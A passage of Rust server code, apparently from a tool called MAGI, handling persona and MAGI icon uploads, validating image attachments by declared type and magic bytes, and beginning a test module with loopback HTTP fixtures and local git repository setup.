9981        validate_avatar_target(&q)?;
9982        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9983        if q.persona.is_some() && q.inherit.is_none() {
9984            atomic_icon_write(&path, "builtin")?;
9985        } else {
9986            match std::fs::remove_file(path) {
9987                Ok(()) => (),
9988                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9989                Err(e) => return Err(anyhow::Error::from(e).into()),
9990            }
9991        }
9992        Ok(Json(serde_json::json!({"saved":true})))
9993    })
9994    .await
9995}
9996
9997// The global MAGI icon is deliberately independent of repository configuration.
9998fn magi_icon_path(home: &FsPath) -> PathBuf {
9999    home.join("magi-icon.data")
10000}
10001
10002fn read_magi_icon(home: &FsPath) -> Option<String> {
10003    read_icon_file(&magi_icon_path(home))
10004}
10005
10006fn read_icon_file(path: &FsPath) -> Option<String> {
10007    let metadata = std::fs::metadata(path).ok()?;
10008    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10009        return None;
10010    }
10011    let file = std::fs::File::open(path).ok()?;
10012    use std::io::Read;
10013    let mut text = String::new();
10014    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10015        .read_to_string(&mut text)
10016        .ok()?;
10017    if text.len() > persona_icon::ICON_MAX_BYTES {
10018        return None;
10019    }
10020    if text == "builtin" {
10021        return Some(text);
10022    }
10023    validate_uploaded_icon(&text).ok()?;
10024    Some(text)
10025}
10026
10027fn magi_icon_url(home: &FsPath) -> String {
10028    format!(
10029        "/avatars/magi?v={}",
10030        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10031    )
10032}
10033
10034async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10035    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10036}
10037
10038#[derive(Deserialize)]
10039struct MagiIconUpload {
10040    icon: String,
10041}
10042
10043fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10044    save_icon_file(&magi_icon_path(home), icon)
10045}
10046
10047fn validate_uploaded_icon(icon: &str) -> Result<()> {
10048    if !icon.starts_with("data:") {
10049        anyhow::bail!("upload a raster image");
10050    }
10051    let (mime, bytes) = persona_icon::load(icon)?;
10052    if sniffed_mime(&bytes) != Some(mime) {
10053        anyhow::bail!("image content does not match its type");
10054    }
10055    Ok(())
10056}
10057
10058fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10059    validate_uploaded_icon(icon)?;
10060    atomic_icon_write(path, icon)
10061}
10062
10063fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10064    let home = path.parent().expect("icon parent");
10065    std::fs::create_dir_all(home)?;
10066    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10067    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10068    let result = (|| -> Result<()> {
10069        use std::io::Write;
10070        let mut file = std::fs::OpenOptions::new()
10071            .write(true)
10072            .create_new(true)
10073            .open(&temp)?;
10074        file.write_all(icon.as_bytes())?;
10075        file.sync_all()?;
10076        std::fs::rename(&temp, path)?;
10077        Ok(())
10078    })();
10079    let _ = std::fs::remove_file(temp);
10080    result?;
10081    Ok(())
10082}
10083
10084async fn magi_icon_put(
10085    State(ui): State<Arc<Ui>>,
10086    Json(upload): Json<MagiIconUpload>,
10087) -> ApiResult<Json<serde_json::Value>> {
10088    blocking(move || {
10089        if !upload.icon.starts_with("data:") {
10090            return Err(ApiError::bad_request("upload a raster image"));
10091        }
10092        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10093        if sniffed_mime(&bytes) != Some(mime) {
10094            return Err(ApiError::bad_request(
10095                "image content does not match its type",
10096            ));
10097        }
10098        save_magi_icon(&ui.home, &upload.icon)?;
10099        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10100    })
10101    .await
10102}
10103
10104async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10105    blocking(move || {
10106        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10107            Ok(()) => (),
10108            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10109            Err(e) => return Err(anyhow::Error::from(e).into()),
10110        }
10111        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10112    })
10113    .await
10114}
10115
10116async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10117    let icon = (q.builtin.is_none())
10118        .then(|| read_magi_icon(&ui.home))
10119        .flatten();
10120    let mut response = match icon
10121        .as_deref()
10122        .and_then(|icon| persona_icon::load(icon).ok())
10123    {
10124        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10125            attachment_response(mime, bytes)
10126        }
10127        _ => svg_avatar(persona_icon::magi_svg()),
10128    };
10129    response
10130        .headers_mut()
10131        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10132    response
10133}
10134
10135/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10136/// operator's raster `icon` when it resolves and its bytes agree with its
10137/// type, the built-in SVG otherwise. Display only; every failure is a warning
10138/// and the built-in avatar, never an error response.
10139async fn talk_avatar(
10140    State(ui): State<Arc<Ui>>,
10141    Path(id): Path<String>,
10142    Query(q): Query<AvatarQuery>,
10143) -> ApiResult<Response> {
10144    blocking(move || {
10145        let id = resolve_talk(&ui.talks, &id)?;
10146        let talk = ui.talks.get(&id)?;
10147        let wanted = q
10148            .persona
10149            .as_deref()
10150            .map(str::trim)
10151            .filter(|p| !p.is_empty())
10152            .unwrap_or(&talk.persona)
10153            .to_owned();
10154        let specs = match Config::discover(&talk.repo, None) {
10155            Ok((cfg, _)) => cfg.talk.personas,
10156            Err(e) => {
10157                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10158                Vec::new()
10159            }
10160        };
10161        let found = persona::find(&specs, &wanted);
10162        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10163        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10164        let icon = effective_persona_icon(
10165            &ui.home,
10166            &wanted,
10167            found.as_ref().and_then(|p| p.icon.as_deref()),
10168        );
10169        if found.is_none() && icon.is_none() {
10170            return Ok(builtin_avatar(persona::DEFAULT_ID));
10171        }
10172        let Some(icon) = icon
10173            .as_deref()
10174            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10175        else {
10176            return Ok(builtin_avatar(&wanted));
10177        };
10178        let Some(found) = found else {
10179            return Ok(raster_or_builtin(
10180                Some(icon),
10181                persona_icon::builtin_svg(&wanted),
10182            ));
10183        };
10184        match persona_icon::load(icon) {
10185            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10186                let mut res = attachment_response(mime, bytes);
10187                res.headers_mut().insert(
10188                    header::CACHE_CONTROL,
10189                    header::HeaderValue::from_static("no-cache"),
10190                );
10191                Ok(res)
10192            }
10193            Ok((mime, _)) => {
10194                tracing::warn!(
10195                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10196                    found.id
10197                );
10198                Ok(builtin_avatar(&found.id))
10199            }
10200            Err(e) => {
10201                tracing::warn!(
10202                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10203                    found.id
10204                );
10205                Ok(builtin_avatar(&found.id))
10206            }
10207        }
10208    })
10209    .await
10210}
10211
10212/// Validate an attachment upload's declared `Content-Type` and the bytes
10213/// themselves, returning the canonical mime on success.
10214///
10215/// Two checks, both required: the header has to name one of
10216/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10217/// simply never in the list, active content rather than a picture, the same
10218/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10219/// magic number has to agree. The second is what stops a mislabeled upload -
10220/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10221/// a declared type is a claim, not a fact, so it is never trusted alone.
10222fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10223    if data.len() > ATTACHMENT_MAX_BYTES {
10224        return Err(ApiError::bad_request(format!(
10225            "attachment is {} bytes, over the {} MiB limit",
10226            data.len(),
10227            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10228        ))
10229        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10230    }
10231    if data.is_empty() {
10232        return Err(ApiError::bad_request("attachment is empty"));
10233    }
10234    let declared = declared_mime(headers)?;
10235    match sniffed_mime(data) {
10236        Some(sniffed) if sniffed == declared => Ok(declared),
10237        Some(sniffed) => Err(ApiError::bad_request(format!(
10238            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10239        ))),
10240        None => Err(ApiError::bad_request(
10241            "the file's bytes do not match any accepted image format",
10242        )),
10243    }
10244}
10245
10246/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10247/// and nothing else - parameters like `; charset=` are stripped, but the
10248/// value itself is not otherwise interpreted.
10249fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10250    let raw = headers
10251        .get(header::CONTENT_TYPE)
10252        .and_then(|v| v.to_str().ok())
10253        .unwrap_or("")
10254        .split(';')
10255        .next()
10256        .unwrap_or("")
10257        .trim()
10258        .to_ascii_lowercase();
10259    ATTACHMENT_MIME_WHITELIST
10260        .iter()
10261        .find(|&&m| m == raw)
10262        .copied()
10263        .ok_or_else(|| {
10264            if raw == "image/svg+xml" {
10265                ApiError::bad_request(
10266                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10267                     not just a picture",
10268                )
10269            } else if raw.is_empty() {
10270                ApiError::bad_request("Content-Type is required for an attachment upload")
10271            } else {
10272                ApiError::bad_request(format!(
10273                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10274                     image/gif or image/webp"
10275                ))
10276            }
10277        })
10278}
10279
10280/// Identify an image by its magic number, independent of whatever
10281/// `Content-Type` claimed.
10282fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10283    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10284        Some("image/png")
10285    } else if data.starts_with(b"\xff\xd8\xff") {
10286        Some("image/jpeg")
10287    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10288        Some("image/gif")
10289    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10290        Some("image/webp")
10291    } else {
10292        None
10293    }
10294}
10295
10296/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10297/// display - see [`talk::Attachment::name`]'s doc on why it never
10298/// contributes to a path. A missing or blank header (curl without it, an
10299/// older front end) falls back to a generic name rather than refusing the
10300/// upload over a field that is cosmetic.
10301fn filename_header(headers: &HeaderMap) -> String {
10302    headers
10303        .get(FILENAME_HEADER)
10304        .and_then(|v| v.to_str().ok())
10305        .map(str::trim)
10306        .filter(|s| !s.is_empty())
10307        .unwrap_or("attachment")
10308        .to_owned()
10309}
10310
10311/// Every attachment `GET` response: the mime re-validated against the same
10312/// closed whitelist the upload route enforces - never the string trusted
10313/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10314/// cannot decide it knows better than the type we send. Unlike a panel asset
10315/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10316/// document renders inline, not agent-authored HTML in a sandboxed frame.
10317fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10318    let content_type = ATTACHMENT_MIME_WHITELIST
10319        .iter()
10320        .find(|&&m| m == mime)
10321        .copied()
10322        .unwrap_or("application/octet-stream");
10323    (
10324        [
10325            (header::CONTENT_TYPE, content_type),
10326            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10327        ],
10328        body,
10329    )
10330        .into_response()
10331}
10332
10333/// The configuration for a repository, read off the disk for this request.
10334///
10335/// Through [`blocking`] because discovery reads and merges several TOML files,
10336/// and because the alternative - caching it in [`Ui`] at startup - would mean
10337/// the operator's phone kept interviewing with a roster they had already
10338/// changed, with no way to reload it but restarting the server they are not
10339/// sitting in front of.
10340async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10341    let repo = repo.to_path_buf();
10342    blocking(move || {
10343        let (cfg, _) = Config::discover(&repo, None)?;
10344        Ok(cfg)
10345    })
10346    .await
10347}
10348
10349/// The one prefix rule, used for both runs and tasks: a leading match for a
10350/// full id, a trailing match for the short form an operator reads off a
10351/// report. Written here rather than borrowed from `queue::resolve_id` because
10352/// the UI needs the two failures as different status codes, and telling them
10353/// apart from an error message is not something to build a route on.
10354fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10355    let mut hits = ids
10356        .into_iter()
10357        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10358    match (hits.next(), hits.next()) {
10359        (Some(one), None) => Ok(one),
10360        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10361        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10362            "`{prefix}` matches more than one {what}, including {a} and {b}"
10363        ))),
10364    }
10365}
10366
10367#[cfg(test)]
10368mod tests {
10369
10370    #[test]
10371    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10372        let dir = tempfile::tempdir().unwrap();
10373        let store = ask::Questions::at(dir.path().join("questions"));
10374        let mut q = Question::new(
10375            "task".to_owned(),
10376            "conduct".to_owned(),
10377            "conduct".to_owned(),
10378            "choose".to_owned(),
10379            String::new(),
10380            vec!["keep".to_owned()],
10381        );
10382        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10383        q.say("why?").unwrap();
10384        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10385        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10386        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10387        store.put(&mut q).unwrap();
10388        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10389        assert_eq!(store.count_needs_owner(), 1);
10390        store.beat(&q.id, ask::WaiterKind::Deputy);
10391        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10392        assert_eq!(store.count_needs_owner(), 0);
10393        let mut stale = store.read_lease(&q.id).unwrap();
10394        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10395        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10396        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10397        assert!(view.deputy_exhausted);
10398        assert!(view.waiting_on_agent);
10399        assert_eq!(view.question.choices, ["keep"]);
10400        store.drop_lease(&q.id);
10401        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10402        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10403    }
10404
10405    #[test]
10406    fn holder_reads_the_lease_not_the_record() {
10407        let mut q = Question::new(
10408            "run".to_owned(),
10409            "implement".to_owned(),
10410            "impl-A".to_owned(),
10411            "which?".to_owned(),
10412            String::new(),
10413            Vec::new(),
10414        );
10415        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10416        q.cwd = Some("/tmp".to_owned());
10417        assert_eq!(holder_of(&q, None), Some("nobody"));
10418        let beat = |kind, ago: i64| ask::Lease {
10419            kind,
10420            pid: 1,
10421            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10422                .unwrap(),
10423        };
10424        let fresh = beat(ask::WaiterKind::Asker, 1);
10425        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10426        let daemon = beat(ask::WaiterKind::Daemon, 1);
10427        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10428        let stale = beat(ask::WaiterKind::Asker, 3600);
10429        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10430
10431        // A conductor question says "deputy" only while one is attached and
10432        // alive, and "nobody" - never silence - when nothing ever listened.
10433        let mut c = Question::new(
10434            "task".to_owned(),
10435            crate::conduct::NODE.to_owned(),
10436            "conduct".to_owned(),
10437            "which?".to_owned(),
10438            String::new(),
10439            Vec::new(),
10440        );
10441        assert_eq!(holder_of(&c, None), Some("nobody"));
10442        c.cwd = Some("/tmp".to_owned());
10443        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10444        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10445        let deputy = beat(ask::WaiterKind::Deputy, 1);
10446        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10447        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10448
10449        // A release-watch question: nobody until a deputy is attached.
10450        let mut r = Question::new(
10451            String::new(),
10452            crate::bump::NOTICE_NODE.to_owned(),
10453            "release-watch".to_owned(),
10454            "stuck?".to_owned(),
10455            String::new(),
10456            vec!["hold".to_owned()],
10457        );
10458        assert_eq!(holder_of(&r, None), Some("nobody"));
10459        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10460        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10461        // A choice-less bump notice is nobody's question at all.
10462        r.deputy = None;
10463        r.seat = "bump".to_owned();
10464        assert_eq!(holder_of(&r, None), None);
10465
10466        // A merge approval is the same: nobody until a deputy is attached
10467        // and alive, never a silent "no holder".
10468        let mut m = Question::new(
10469            "run".to_owned(),
10470            crate::land::APPROVAL_NODE.to_owned(),
10471            "land".to_owned(),
10472            "merge?".to_owned(),
10473            String::new(),
10474            Vec::new(),
10475        );
10476        assert_eq!(holder_of(&m, None), Some("nobody"));
10477        assert_eq!(
10478            holder_of(&m, Some(&fresh)),
10479            Some("asker"),
10480            "a live explicit wait is a listener even before a deputy is attached"
10481        );
10482        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10483        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10484        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10485        assert_eq!(holder_of(&m, None), Some("nobody"));
10486    }
10487
10488    fn stub_config() -> Config {
10489        // An explicit roster, so the result never depends on which agent CLIs
10490        // this machine has installed.
10491        Config {
10492            agents: vec![crate::config::AgentSpec {
10493                id: "stub".to_owned(),
10494                kind: AgentKind::Command,
10495                model: None,
10496                command: vec!["true".to_owned()],
10497                extra_args: Vec::new(),
10498                env: Default::default(),
10499                prompt_delivery: None,
10500                max_turn_secs: None,
10501            }],
10502            ..Config::default()
10503        }
10504    }
10505
10506    fn plain_question(seat: &str) -> Question {
10507        Question::new(
10508            String::new(),
10509            "n".to_owned(),
10510            seat.to_owned(),
10511            "s".to_owned(),
10512            String::new(),
10513            Vec::new(),
10514        )
10515    }
10516
10517    #[test]
10518    fn deputies_enabled_follows_the_config() {
10519        let on = stub_config();
10520        assert!(crate::deputy::can_start(Some(&on), ""));
10521        assert!(crate::deputy::can_start(Some(&on), "stub"));
10522        let mut off = on.clone();
10523        off.daemon.max_deputies = 0;
10524        assert!(!crate::deputy::can_start(Some(&off), ""));
10525        let mut empty = on;
10526        empty.agents.clear();
10527        assert!(!crate::deputy::can_start(Some(&empty), ""));
10528        assert!(!crate::deputy::can_start(None, ""));
10529    }
10530
10531    #[test]
10532    fn question_views_load_the_config_once() {
10533        let dir = TempDir::new().unwrap();
10534        let store = ask::Questions::at(dir.path().to_path_buf());
10535        let mut with_deputy = plain_question("b");
10536        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10537        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10538
10539        let calls = std::cell::Cell::new(0usize);
10540        let views = question_views(qs.clone(), &store, || {
10541            calls.set(calls.get() + 1);
10542            Some(stub_config())
10543        });
10544        assert_eq!(calls.get(), 1);
10545        assert_eq!(views.len(), 3);
10546        for (v, q) in views.iter().zip(&qs) {
10547            assert_eq!(
10548                v.deputies_enabled,
10549                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10550            );
10551        }
10552
10553        let views = question_views(qs, &store, || None);
10554        assert!(views.iter().all(|v| !v.deputies_enabled));
10555
10556        let calls = std::cell::Cell::new(0usize);
10557        let views = question_views(Vec::new(), &store, || {
10558            calls.set(calls.get() + 1);
10559            None
10560        });
10561        assert!(views.is_empty());
10562        assert_eq!(calls.get(), 0);
10563    }
10564
10565    use pretty_assertions::assert_eq;
10566    use serde_json::Value;
10567    use tempfile::TempDir;
10568    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10569
10570    use super::*;
10571    use crate::config::Config;
10572    use crate::queue::Source;
10573
10574    /// How many 10ms steps a settle loop takes before it calls a stall a
10575    /// stall - thirty seconds.
10576    ///
10577    /// These loops wait on real `sh` subprocesses, and the machine that runs
10578    /// the gate runs several suites at once, so a two-second budget was not
10579    /// waiting for the reply, it was racing the scheduler: two of these
10580    /// tests failed under that load with the turn simply not landed yet.
10581    /// This is a hang guard, not a latency assertion - every loop breaks the
10582    /// moment its condition holds, so a generous cap costs an idle machine
10583    /// nothing and still fails a genuine hang instead of hanging the suite.
10584    const SETTLE_STEPS: usize = 3_000;
10585
10586    /// A home with a queue and a runs directory, and a router serving it on
10587    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10588    /// dependency, not ours - so the tests drive a real socket, which has the
10589    /// side benefit of asserting the status line and content types the phone
10590    /// actually receives.
10591    struct Fixture {
10592        home: TempDir,
10593        addr: SocketAddr,
10594    }
10595
10596    impl Fixture {
10597        async fn start() -> Self {
10598            Self::with_loop(launch_idle).await
10599        }
10600
10601        /// A fixture whose loop is `launch`.
10602        async fn with_loop(launch: Launch) -> Self {
10603            let home = TempDir::new().expect("temp home");
10604            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10605            Self { home, addr }
10606        }
10607
10608        /// A fixture whose `ui.repo` is a real directory rather than the
10609        /// usual placeholder - for the routes that read config off it
10610        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10611        async fn with_repo(repo: PathBuf) -> Self {
10612            let home = TempDir::new().expect("temp home");
10613            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10614            Self { home, addr }
10615        }
10616
10617        /// As [`Fixture::with_repo`], with the machine-config file the
10618        /// settings screen reads and writes.
10619        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10620            let home = TempDir::new().expect("temp home");
10621            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10622            Self { home, addr }
10623        }
10624
10625        async fn serve(
10626            home: &FsPath,
10627            repo: PathBuf,
10628            launch: Launch,
10629            machine: Option<PathBuf>,
10630        ) -> SocketAddr {
10631            let queue = Queue::at(home.join("queue"));
10632            let runs = home.join("runs");
10633            std::fs::create_dir_all(&runs).expect("runs dir");
10634            let worktrees = home.join("wt").join("magi");
10635            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10636            let ui = Ui::new(
10637                queue,
10638                Questions::at(home.join("questions")),
10639                Talks::at(home.join("talks")),
10640                runs,
10641                home.to_path_buf(),
10642                repo,
10643            )
10644            .with_worktrees_root(worktrees)
10645            .with_machine_config(machine)
10646            .with_launch(launch);
10647            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10648                .await
10649                .expect("bind loopback");
10650            let addr = listener.local_addr().expect("local addr");
10651            tokio::spawn(async move {
10652                let router = ui
10653                    .router()
10654                    .layer(axum::middleware::from_fn(request_cost::observe));
10655                let _ = axum::serve(listener, router).await;
10656            });
10657            addr
10658        }
10659
10660        fn queue(&self) -> Queue {
10661            Queue::at(self.home.path().join("queue"))
10662        }
10663
10664        fn questions(&self) -> Questions {
10665            Questions::at(self.home.path().join("questions"))
10666        }
10667
10668        fn talks(&self) -> Talks {
10669            Talks::at(self.home.path().join("talks"))
10670        }
10671
10672        fn runs(&self) -> PathBuf {
10673            self.home.path().join("runs")
10674        }
10675
10676        async fn get(&self, path: &str) -> Res {
10677            request(self.addr, "GET", path, None).await
10678        }
10679
10680        /// The status and headers without the body, which is how the front end
10681        /// preflights a panel: a sandboxed frame is opaque to the parent
10682        /// document, so the only way to tell "no panel" from "a panel that
10683        /// rendered blank" is to ask before mounting.
10684        async fn head(&self, path: &str) -> Res {
10685            request(self.addr, "HEAD", path, None).await
10686        }
10687
10688        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10689            request(self.addr, "POST", path, body).await
10690        }
10691
10692        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10693            request_with(self.addr, "GET", path, None, extra).await
10694        }
10695
10696        async fn delete(&self, path: &str) -> Res {
10697            request(self.addr, "DELETE", path, None).await
10698        }
10699
10700        async fn put(&self, path: &str, body: &str) -> Res {
10701            request(self.addr, "PUT", path, Some(body)).await
10702        }
10703
10704        /// `POST` a raw body with its own headers - see [`request_bytes`].
10705        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10706            request_bytes(self.addr, path, headers, body).await
10707        }
10708    }
10709
10710    /// Real tracking refs exercise the successful discovery path (including
10711    /// extraction), rather than counting cheap failures on a placeholder repo.
10712    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10713        let tmp = TempDir::new().unwrap();
10714        let mut repos = Vec::new();
10715        for name in ["one", "two"] {
10716            let repo = tmp.path().join(name);
10717            let origin = tmp.path().join(format!("{name}.git"));
10718            std::fs::create_dir_all(&repo).unwrap();
10719            crate::git::git(&repo, &["init", "-b", "main"])
10720                .await
10721                .unwrap();
10722            std::fs::write(
10723                repo.join("magi.toml"),
10724                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10725            )
10726            .unwrap();
10727            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10728            crate::git::git(
10729                &repo,
10730                &[
10731                    "-c",
10732                    "user.name=fixture",
10733                    "-c",
10734                    "user.email=fixture@example.invalid",
10735                    "commit",
10736                    "-m",
10737                    "fixture",
10738                ],
10739            )
10740            .await
10741            .unwrap();
10742            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10743                .await
10744                .unwrap();
10745            crate::git::git(
10746                &repo,
10747                &["remote", "add", "origin", origin.to_str().unwrap()],
10748            )
10749            .await
10750            .unwrap();
10751            crate::git::git(&repo, &["push", "origin", "main"])
10752                .await
10753                .unwrap();
10754            crate::git::git(
10755                &repo,
10756                &[
10757                    "symbolic-ref",
10758                    "refs/remotes/origin/HEAD",
10759                    "refs/remotes/origin/main",
10760                ],
10761            )
10762            .await
10763            .unwrap();
10764            let (cfg, _) = Config::discover(&repo, None).unwrap();
10765            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10766            repos.push(repo);
10767        }
10768        let repos: [PathBuf; 2] = repos.try_into().unwrap();
10769        (tmp, repos)
10770    }
10771
10772    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10773        let (tmp, repos) = performance_repositories().await;
10774        let machine = tmp.path().join("machine.toml");
10775        std::fs::write(&machine, "").unwrap();
10776        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10777        (tmp, repos, fx)
10778    }
10779
10780    fn seed_performance(
10781        fx: &Fixture,
10782        repos: &[PathBuf; 2],
10783        questions: usize,
10784        runs: usize,
10785        items: usize,
10786    ) {
10787        // Saving states directly never starts a run or changes MAGI_HOME.
10788        for i in fx.questions().list().len()..questions {
10789            let mut question = Question::new(
10790                "20261001-000000-0000".into(),
10791                "implement".into(),
10792                "impl-A".into(),
10793                format!("question {i}"),
10794                "context".into(),
10795                vec!["yes".into(), "no".into()],
10796            );
10797            question.id = format!("20261003-000000-{i:04x}");
10798            fx.questions().put(&mut question).unwrap();
10799        }
10800        for i in run_ids(&fx.runs()).len()..runs {
10801            write_run_repo(
10802                &fx.runs(),
10803                &format!("20261001-000000-{i:04x}"),
10804                RunStatus::Ready,
10805                repos[i % 2].to_str().unwrap(),
10806            );
10807        }
10808        for i in fx.talks().list().len()..items {
10809            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10810            let mut talk = fx.talks().get(&id).unwrap();
10811            talk.repo = repos[i % 2].clone();
10812            fx.talks().put(&mut talk).unwrap();
10813            let mut task = crate::queue::Task::new(
10814                format!("task {i}"),
10815                "instruction".into(),
10816                repos[i % 2].clone(),
10817                crate::queue::Source::Agent {
10818                    run: id,
10819                    node: crate::queue::CHAT_NODE.into(),
10820                },
10821            );
10822            task.id = format!("20261004-000000-{i:04x}");
10823            fx.queue().put(&mut task).unwrap();
10824            // Notices has a production retention cap; seed up to that cap.
10825            if i < crate::notices::CAP {
10826                Notices::at(fx.home.path().join("notifications"))
10827                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
10828                    .unwrap();
10829            }
10830        }
10831        assert_eq!(fx.questions().list().len(), questions);
10832        assert_eq!(run_ids(&fx.runs()).len(), runs);
10833        assert_eq!(fx.talks().list().len(), items);
10834        assert_eq!(fx.queue().list().len(), items);
10835        assert_eq!(
10836            Notices::at(fx.home.path().join("notifications"))
10837                .list()
10838                .len(),
10839            items.min(crate::notices::CAP)
10840        );
10841    }
10842
10843    fn request_counts(res: &Res) -> (usize, usize) {
10844        assert_eq!(res.status, 200, "{}", res.body);
10845        (
10846            res.header("x-test-discoveries").unwrap().parse().unwrap(),
10847            res.header("x-test-git").unwrap().parse().unwrap(),
10848        )
10849    }
10850
10851    #[tokio::test]
10852    async fn list_request_cost_is_independent_of_record_count() {
10853        let (_tmp, repos, fx) = performance_fixture().await;
10854        let mut previous = None;
10855        for n in [4, 60] {
10856            seed_performance(&fx, &repos, n, n, n);
10857            let mut costs = Vec::new();
10858            for (path, discoveries) in [
10859                ("/api/questions", 1),
10860                ("/api/talks", 2),
10861                ("/api/health", 1),
10862                ("/api/stats", 1),
10863            ] {
10864                // Equal cold extraction caches at both scales; this also
